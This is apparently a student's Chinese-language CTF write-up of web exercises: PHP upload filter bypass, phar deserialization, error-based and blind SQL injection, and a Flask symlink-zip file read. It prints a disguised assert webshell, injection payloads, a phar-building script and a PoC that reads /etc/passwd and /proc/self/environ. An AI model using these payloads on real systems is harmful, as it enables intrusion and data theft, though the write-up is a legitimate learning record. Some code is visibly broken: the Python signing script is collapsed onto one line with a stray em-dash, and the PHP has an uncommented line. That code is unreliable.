1z_upload
进到这个页面里面还是挺懵的,什么也不知道
点添加书籍之后发现变成了sql
师兄给了源码,看了之后找到了他的限制函数
但是肯定要先登录才可以 登录还是用bp爆破
最后得到账号密码是admin/admin12345
进来之后就可以看到那个文件上传的地方
上传是有限制的,在源码中
if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {
$image = $_FILES['image']['name'];
$ext = pathinfo($image, PATHINFO_EXTENSION);if (strtolower($ext) == 'jpg') {
$image = $_FILES['image']['name'];$image_content = file_get_contents($_FILES['image']['tmp_name']);
$search_patterns = ['/\$_POST/i', '/\$_GET/i', '/eval/i', '/\?php/i'];
foreach ($search_patterns as $pattern) {
if (preg_match($pattern, $image_content)) {header("Location: admin_get_hack.php?id=666");
exit();
}
}
$directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
$uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
$uploadDirectory .= $image;
move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
}
else {
header("Location: admin_get_hack.php?id=6");
exit();
}
}$query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";
$result = mysqli_query($conn, $query);
if($result){
$_SESSION['book_success'] = "New Book has been added successfully";
header("Location: admin_book.php");
} else {
$err = "Can't add new data " . mysqli_error($conn);}
}
大概意思就是要绕过正则匹配的post,get,eval,?php,这几个,是内容检查,还有后缀检查要是jpg,当时想到是用js标签,但是把请求给忘了,怎么传都传不上去应该是用request传参
过滤的eval函数可以用assert()函数来代替
PHP 之 assert()函数 - 知乎
一句话木马及免杀-CSDN博客
REQUEST传参(REQUEST传参就是可以接受POST传参,也可以接受GET传参)
正常的一句话木马:
<?php @eval($_POST['cmd']); ?>
变形之后的:
<script language="php">@assert($_REQUEST['cmd']);</script>
用这个上马就可以
设置成jpg文件,直接上传
然后去找传参值,在admin_baohan.php里边,因为这里边有文件包含include还有get传参
利用这个php文件进行rce应该就可以了
接下来就是找文件利用的路径,也是在admin_add里边
$uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
解释:这行代码是用来定义一个变量$uploadDirectory,它的值是服务器的根目录($_SERVER['DOCUMENT_ROOT'])加上一个相对路径($directory_self ."
其中,$_SERVER['DOCUMENT_ROOT']是一个全局变量,它存储了服务器上当前运行脚本的文档根目录的绝对路径。这个路径通常是服务器的网站根目录。
$directory_self是另一个变量,它可能是在之前的代码中定义的。它表示当前脚本所在的目录的相对路径。
所以,$uploadDirectory的值就是服务器的根目录加上一个相对路径,即指向了一个名为“bootstrap/img/”的文件夹。这个文件夹可能是用来存储上传的图片文件的目录
找到路径就可以进行命令执行了
因题目环境问题,没法进行复现了,所以只能讲一下知识点
看师兄用到的是scandir()函数 ,利用这个函数可以看到指定的文件目录
cmd=var_dump(scandir('./'));
还用了一个打印字符串的函数----var_dump 这个函数经常见到,但是没看过他的意思
还有一个文件读取函数,利用的是file_get_contents()函数 会把整个文件读取到一个字符串内,最后就可以得到flag cmd=var_dump(file_get_contents('./flag'));
1z_upload2.0
还是爆破得到用户名密码 admin/abc123
做这题的时候,发现用1.0的方法不管用利用文件上传的路径发现过不去,上不了马
看wp发现有robots.txt 也是在做题的时候经常遇到的
还是用dirsearch扫一下,看到了好多可以访问的
有robots.txt文件,访问
接着访问 i_am_here.php,应该是base64,解码看看
是一个什么东西 ,突然想到,还扫到一个www.zip文件
访问看看,下载了
发现要解压密码
输入刚才解码的 得到了源码文件
读源码,这里边是file传参的东西,并且有正则限制
上传文件的关键源码
<?php
session_start();
error_reporting(0);
require_once "./functions/admin.php";
$title = "Add new book";
require "./template/header.php";
// require "./functions/database_functions.php";
// $conn = db_connect();
$conn = mysqli_connect("mysql", "root", "bighacker", "obs_db");
if(isset($_POST['add'])){
$isbn = trim($_POST['isbn']);
$isbn = mysqli_real_escape_string($conn, $isbn);
$title = trim($_POST['title']);
$title = mysqli_real_escape_string($conn, $title);$author = trim($_POST['author']);
$author = mysqli_real_escape_string($conn, $author);
$descr = trim($_POST['descr']);
$descr = mysqli_real_escape_string($conn, $descr);
$price = floatval(trim($_POST['price']));
$price = mysqli_real_escape_string($conn, $price);
$publisher = trim($_POST['publisher']);
$publisherid = mysqli_real_escape_string($conn, $publisher);if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {
$image = $_FILES['image']['name'];
// 检查文件名的扩展名是否已经是".php"
$ext = pathinfo($image, PATHINFO_EXTENSION);
// if (strtolower($ext) == 'php'|| strtolower($ext) == 'phtml' || strtolower($ext) == 'php5' || strtolower($ext) == 'php2') {
if (strtolower($ext) == 'jpg'|| strtolower($ext) == 'png' || strtolower($ext) == 'gif' || strtolower($ext) == 'jpeg') {
// 将文件名的扩展名替换为".jpg"
// $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';
$content=file_get_contents($_FILES["image"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if (gettype($pos) === "integer") {
header("Location: admin_get_hack.php?id=666");
exit();
}
else{
//移动文件到上传目录
$directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
$uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
$uploadDirectory .= $image;
move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
}
}
else{
header("Location: admin_get_hack.php?id=6");
exit();
}
// elseif (strtolower($ext) != 'jpg') {
// // 忽略其他后缀名并不做修改
// $image = $_FILES['image']['name'];
// }}
发现他会检测php,php5,php2,phtml,以及gif,png,将其换成jpg的文件后缀,否则上传不成功(代码审计可知考察phar反序列化 )
这里就涉及到了phar反序列化,具体还需要了解,为什么要用phar反序列化
phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化
https://www.cnblogs.com/sijidou/p/13121358.html(利用PHAR协议进行PHP反序列化攻击)
关于php----phar伪协议和phar文件反序列化漏洞利用_phar协议-CSDN博客
我只简单的解释,具体的请大家从大佬的博客中了解
根据师兄给的wp来生成phar文件,并修改
生成phar文件
<?php
class mouse
{
public $v1="php://filter/read=convert.base64-encode/resource=flag.php";
}
class cat
{
public $a;
public $b;
public $c;
}
$m=new cat;
$m->c=new mouse;
// echo serialize($m);
// Sobj= new Test();
//$obj -> name = "quan9i";
$phar = new Phar('exam.phar');
$phar -> startBuffering();//开始缓冲 Phar 写操作
$phar -> setStub('GIF89a<?php _HALT_COMPILER();?>'); //设置stub,添加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($m);//将自定义meta-data存入manifest
$phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
脚本修改phar文件绕过
import gzip from hashlib import sha1 with open('E:\\vscode\\vscode newfile\\phar\\exam.phar', 'rb') as file: f=file.read() s = f[:-28]#获取要签名的数据 s = s.replace(b'3:{', b'4:{')#更换属性值,绕过_wakeup h=f[—8:] # 获取签名类型以及GBMB标识 h = f[-8:] newf = s +sha1(s).digest() + h#数据+签名+(类型+GBMB) #print(newf) newf = gzip.compress(newf)#对Phar文件进行gzip压缩 with open('E:\\vscode\\vscode newfile\\phar\\hack.jpg','wb')as file:#更改文件后缀 file.write(newf) file.write(newf)
发现生成了一个jpg文件
文件上传点上传文件,并利用phar伪协议来查看flag
上传文件,找到了文件上传路径
发现抓包抓不到wp里的包,上传正常的照片也是没有显示,就先复现到这里
1z_sql
sql也是给了源码
<?php
error_reporting(0);$dbusername ='root'; //数据库名称设置和用户登录参数不能设置为一样
$dbpassword ='root';
$dbname ="kind";
$servername = 'localhost';$conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
//echo "连接成功";
function waf($str){$str=trim($str);
$str=addslashes($str);
$str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
$str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符return $str;
}
function waf2($str){
$black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
if(preg_match($black_list,$str))
{
echo "<br>";
echo "你注你🐎呢";
echo "<br>";
}
else{
return $str;
}
}$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
$IP = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['username']) && isset($_POST['password'])){
$username = waf($_POST['username']);
$password = waf($_POST['password']);
$uagent = waf2($uagent);
$sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";
$result1 = mysqli_query($conn,$sql);
$row1 = mysqli_fetch_array($result1);
if($row1)
{
//echo '< font size = 3 >';
$insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents
// echo $insert;
// echo "<br>";
mysqli_query($conn,$insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
//echo '<font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysqli_error($conn));
echo "<br><br>";
echo "<br>";
//echo 'your uname is: '.$username;echo "不错嘛能登上,加油!看看回显信息有思路了没有?";
}
else
{
//echo '<font size="3">';
//echo "Try again looser";
//print_r(mysqli_error($conn));
echo "</br>";
echo "</br>";
echo "</font>";
echo "这都不行?还不好好学?";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>真的很简单</title>
</head>
<body>
<h1>登录</h1>
<p>Here is a poor page!</p>
<h2>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
username: <input type="text" name="username"><br>
password: <input type="password" name="password"><br>
<input type="submit" name="登录" value="登录"/>
</form>
</h2>
<h3>
</h3>
</body>
</html>
总体意思
配置数据库连接参数:定义了数据库的用户名($dbusername)、密码($dbpassword)、数据库名称($dbname)和服务器名称($servername)。
建立数据库连接:使用mysqli类创建了一个数据库连接对象$conn,连接到指定的数据库。
定义了两个过滤函数:
waf($str)
:用于过滤用户输入的字符串,去除特殊字符和空白符。waf2($str)
:用于检测用户输入的字符串是否包含黑名单中的关键词,如果包含则输出提示信息。获取用户的HTTP_USER_AGENT和REMOTE_ADDR:从$_SERVER变量中获取用户的User-Agent和IP地址。
处理登录表单的提交:
- 通过isset()函数检查是否提交了用户名和密码。
- 使用waf()函数过滤输入的用户名和密码。
- 使用waf2()函数检测User-Agent是否包含黑名单关键词。
- 构建SQL查询语句,查询数据库中是否存在匹配的用户名和密码。
- 如果查询成功,将User-Agent、IP地址和用户名插入到uagents表中,并输出一些信息。
- 如果查询失败,输出一些错误信息。
显示登录页面的HTML代码。
找一下关键代码,主要还是这两个防火墙进行了限制
然后告诉了注入点
$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
注入之前要先登录才可以,但是不知道账号密码,全靠爆破
爆破出来账号密码是admin/8888888
可以看到是有回显的,和源代码一样
话不多说 直接抓包开注
看师兄的wp,是用的报错注入,其中涉及到了两个没见过的函数
1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#
extractvalue()
函数是MySQL数据库中的一个内置函数,用于从XML数据中提取指定路径的值。在这个字符串中,它被用于构造一个错误,以便在错误消息中插入一些数据。concat()
函数用于将多个字符串连接起来。在这个字符串中,它被用于构造一个包含特殊字符\
和数据库名称的字符串。0x5c
是十六进制表示的反斜杠字符\
,在这个字符串中用于分隔数据库名称.
sql差的太多,这段时间会着重学一下,
我在bp里注入反而不行,就直接用hackbar插件进行注入
查库
1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#
查表
1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) from
information_schema.tables where table_schema like "kind"),0x5c))))#
查字段
1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from
kind.sheet1),0x5c)))),爆出来了
因为回显长度不够,所以只能一部分一部分的爆
1z_Sql2.0
输入'or(1<>1)#,回显nonono
不知道其后台限制,输入什么都是nonono,还有非法字符
输入 'or(length((select(group_concat(password))from(yunxi_exam.users)))>0)#
base64解码,发现提示是骗人的
'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#
database()
: 返回当前数据库的名称。substr(database() from 1)
: 返回数据库名称的子字符串,从第一个字符开始。reverse()
: 反转字符串的顺序。substr(reverse(substr(database() from 1)) from 10)
: 返回反转后数据库名称的子字符串,从第十个字符开始。ord()
: 返回字符的 ASCII值。<>
: 不等于的比较操作符。
'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacke
r2))from(1)))from(52)))<>87)#
select(group_concat(hack123))from(yunxi_exam.bighacker2)
: 在表中选择并合并yunxi_exam.bighacker2
hack123
字段的所有值。substr((select(group_concat(hack123))from(yunxi_exam.bighacker2))from(1)
: 从合并后的值中获取第一个字符开始的子字符串。reverse()
: 反转字符串的顺序。substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacker2))from(1)))from(52))
: 从反转后的子字符串中获取第52个字符开始的子字符串。ord()
: 返回字符的 ASCII值。<>
: 不等于的比较操作符。
1z_flask
这道题一开始的时候以为是ssti,但是注入之后发现没有回显,看到文件上传发现传什么显示什么
考核的时候没思路,之后才知道是软连接,
这个视频把软连接讲的非常清楚
Linux-33Linux文件系统命令-ln链接中符号链接和硬链接的应用场景_哔哩哔哩_bilibili
参考wp
BUUCTF [HCTF 2018] Hide and seek_ctfhide and seek-CSDN博客
看着这道题出的,wp讲的也很详细
是和6月份国赛考的一样(unzip)都是软连接
开始做
点击去之后确定是软连接,然后制作软链接读取etc/passwd
文件
ln -s /etc/passwd passwd //此时passwd就相当于etc/passwd
ln是linux中一个非常重要命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接.当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在 其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。这个命令最常用的参数是-s,具体用法是:ln -s 源文件 目标文件。当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的 目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。
-s 是代号(symbolic)的意思。
这 里有两点要注意:第一,ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化;第二,ln的链接又软链接 和硬链接两种,软链接就是ln -s ** **,它只会在你选定的位置上生成一个文件的镜像,不会占用磁盘空间,硬链接ln ** **,没有参数-s, 它会在你选定的位置上生成一个和源文件大小相同的文件,无论是软链接还是硬链接,文件都保持同步变化。
如果你用ls察看一个目录时,发现有的文件后面有一个@的符号,那就是一个用ln命令生成的文件,用ls -l命令去察看,就可以看到显示的link的路径了。
zip -y passwd.zip passwd
拖到windows里边进行上传
可以看到成功被执行
成功被执行,制作读取/flag
的软连接,但是未能得到回显
猜测可能是用户权限的问题,尝试以admin
用户登录:
得到说你不是admin
因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test
用户登陆,查看Cookie
发现应该是session储存
利用脚本解密可以发现加密的是用户名
可以初步判断是以Session判断是否是admin
用户,但伪造session还需要Flask的SECRET_KEY
值。
因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ
文件,以获取当前进程的环境变量列表。
/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,
用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。environ是 — 当前进程的环境变量列表,self可以替换成进程号。
读取/proc/self/environ
生成一个指向/proc/self/environ的软链接
ln -s /proc/self/environ env压缩这个软链接生成zip压缩文件
zip -y env.zip env( zip使用参数-y,可以保留原文件中的软链接。)
此时env就相当于/proc/self/environ
我们知道flask
的session
构造是需要secret_key
的,所以我们的目标是去找到这个值,访问Linux的/proc/self/environ
文件,它存放着环境变量,也就包括flask
下的环境变量
上传读取文件内容
看到了DUWSGI_INI=/app/uwsgi.ini
给了你/app/uwsgi.ini
,而这个文件是uwsgi.ini
配置文件,一般情况下
client —> nginx —> uwsgi --> flask后台程序 (生产上一般都用这个流程)
uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议
发现其存在UWSGI_INI=/app/uwsgi.ini
,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取
读取到的内容
在 uWSGI 中,module
是一个配置选项,用于指定要加载的 Python 模块。该模块包含了 uWSGI 服务器要运行的应用程序的代码
/app/uwsgi.ini里面找到了这个语句,他是加载了
hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls的这个python模块
那他的源码路径就是/app/hard_t0_guess_bthclsbthcls/bthcls.py
和师兄给的那个是完全一样的,剩下的就是脚本执行
利用师兄给的poc
import os
import requests
import sys
def make_zip():
os.system('ln -s ' + sys.argv[2] + ' test_exp')
os.system('zip -y test_exp.zip test_exp')
def run():
make_zip()
res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
print(res.text)os.system('rm -rf test_exp')
os.system('rm -rf test_exp.zip')
if __name__ == '__main__':
run()
首先,通过
import
语句导入了os
、requests
和sys
模块,用于执行系统操作、发送 HTTP 请求和访问命令行参数。
make_zip()
函数用于创建 ZIP 文件。它使用os.system()
函数执行了两个命令:
ln -s
命令用于创建一个符号链接(软链接),将sys.argv[2]
指定的文件链接到名为test_exp
的符号链接文件上。sys.argv[2]
是命令行参数中的第三个参数,表示要链接的文件路径。zip -y
命令用于将名为test_exp
的文件(符号链接指向的文件)压缩为一个名为test_exp.zip
的 ZIP 文件。
run()
函数用于执行整个流程:
- 首先调用
make_zip()
函数来创建 ZIP 文件。- 然后使用
requests.post()
方法发送一个 POST 请求到sys.argv[1]
指定的 URL,同时将 ZIP 文件作为文件上传。sys.argv[1]
是命令行参数中的第二个参数,表示要发送请求的目标 URL。- 最后打印服务器的响应文本。
在
__name__ == '__main__'
的条件下,调用run()
函数来执行整个脚本。
最后用脚本来执行就可以得到flag,比原题省了很多步骤